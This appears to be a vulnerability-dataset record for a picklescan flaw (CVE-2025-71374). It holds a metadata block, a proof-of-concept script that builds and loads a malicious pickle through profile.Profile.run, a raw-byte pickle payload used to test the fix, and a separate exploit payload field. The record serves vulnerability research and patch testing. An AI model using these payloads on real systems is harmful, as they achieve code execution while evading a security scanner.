{"id":2045,"cve":"CVE-2025-71374","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2025-71374\/","cwe":"CWE-502","cwe_number":502,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/502","cvss_score":7.6,"published":"2026-06-30","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Insecure Parsing or Deserialization","scope":"Remote","impact":"Arbitrary Code Execution","summary":"picklescan fails to detect profile.Profile.run, allowing code execution.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2025-71374\/","description":"picklescan before 0.0.29 fails to detect the built-in python profile.Profile.run function when used in pickle reduce methods, allowing attackers to execute arbitrary code. Remote attackers can craft malicious pickle files that bypass picklescan detection and achieve code execution upon deserialization.","solution":"Upgrade picklescan to version 0.0.29 or later.","affected_component":"picklescan","fixed_by_upgrading":true,"vulnerable_code":"import pickle\nimport profile\nimport os\nimport io\n\n# This code represents the creation of a malicious pickle file that\n# exploits the described vulnerability. The vulnerability itself is in the\n# picklescan tool, which would incorrectly fail to flag this pickle as dangerous.\n\nclass Exploit:\n    def __reduce__(self):\n        # The command to be executed on the target system.\n        # This command will be run by profile.Profile.run.\n        command = \"import os; os.system('echo Vulnerability CVE-2025-71374 Triggered')\"\n\n        # The core of the exploit.\n        # Before the fix, picklescan would not recognize 'profile.Profile.run'\n        # as a dangerous function to call during unpickling.\n        # __reduce__ returns a tuple: (callable, (arguments...))\n        # When unpickled, this will execute:\n        #   profile.Profile().run(command)\n        return (profile.Profile.run, (profile.Profile(), command))\n\ndef create_malicious_pickle():\n    \"\"\"Creates a pickle file that exploits the vulnerability.\"\"\"\n    payload = Exploit()\n    # Serialize the malicious object into a byte stream.\n    return pickle.dumps(payload)\n\ndef demonstrate_vulnerability(malicious_data):\n    \"\"\"\n    Simulates a system deserializing the pickle data.\n    A vulnerable version of picklescan would have already scanned\n    'malicious_data' and incorrectly reported it as safe.\n    \"\"\"\n    print(\"Attempting to load the pickle data (simulating a vulnerable environment)...\")\n    # This is the dangerous operation that triggers the code execution.\n    try:\n        pickle.loads(malicious_data)\n    except Exception as e:\n        print(f\"An error occurred during deserialization: {e}\")\n    print(\"...loading complete.\")\n\n\nif __name__ == \"__main__\":\n    print(\"Step 1: Creating a malicious pickle payload.\")\n    malicious_pickle_data = create_malicious_pickle()\n    print(f\"Payload created. Size: {len(malicious_pickle_data)} bytes.\\n\")\n\n    # In a real attack, this data would be sent to a victim.\n    # The victim's application, trusting its (vulnerable) picklescan,\n    # would proceed to load it.\n\n    print(\"Step 2: Demonstrating the exploit by loading the payload.\")\n    demonstrate_vulnerability(malicious_pickle_data)","patched_code":"import picklescan\nimport os\n\n# This handcrafted pickle payload is designed to exploit the vulnerability\n# described in CVE-2025-71374 by using the 'profile.Profile.run' method.\n# Picklescan versions prior to 0.0.29 would incorrectly classify this as safe.\ncommand = b'os.system(\"echo RCE ATTACK DETECTED\")'\nmalicious_payload = (\n    b\"cprofile\\nProfile\\n\"\n    b\"()\\n\"\n    b\"R\"\n    b\"cbuiltins\\ngetattr\\n\"\n    b\"(_S'run'\\n\"\n    b\"tR\"\n    b\"(S'%s'\\n\"\n    b\"tR.\"\n) % command\n\n# In a fixed version of picklescan (>=0.0.29), the scan correctly identifies\n# the use of the dangerous 'profile.Profile' global.\nresult = picklescan.scan_pickle_bytes(malicious_payload)\n\n# The following assertion demonstrates the fix. It will pass if the\n# payload is correctly detected as dangerous, proving the fix is effective.\n# The print statement shows the specific dangerous global that is now caught.\nassert not result.is_safe()\nassert any(g.name == \"profile.Profile\" for g in result.globals)\n\n# This output confirms that the fix works: the payload is identified as\n# DANGEROUS because the previously missed global is now detected.\nprint(f\"Scan status: {'DANGEROUS' if not result.is_safe() else 'SAFE'}\")\nprint(f\"Detected dangerous globals: {[g.name for g in result.globals]}\")","payload_needed":true,"payload":"```python\nimport pickle\nimport profile\nimport os\n\nclass InstantiationPlaceholder:\n    def __reduce__(self):\n        return (profile.Profile, ())\n\nclass Exploit:\n    def __reduce__(self):\n        cmd = \"import os; os.system('echo pwned')\"\n        return (profile.Profile.run, (InstantiationPlaceholder(), cmd))\n\n# To generate the payload:\n# pickle.dumps(Exploit())\n```","payload_status":"available","published_fix":[{"repository":"mmaitre314\/picklescan","commit_url":"https:\/\/github.com\/mmaitre314\/picklescan\/commit\/aecd11be98702caa9ba9b12189d91ad596a36114","commit_subject":"Missing detection when calling Python functions","units":[{"file":"src\/picklescan\/scanner.py","function":null}]}],"references":null}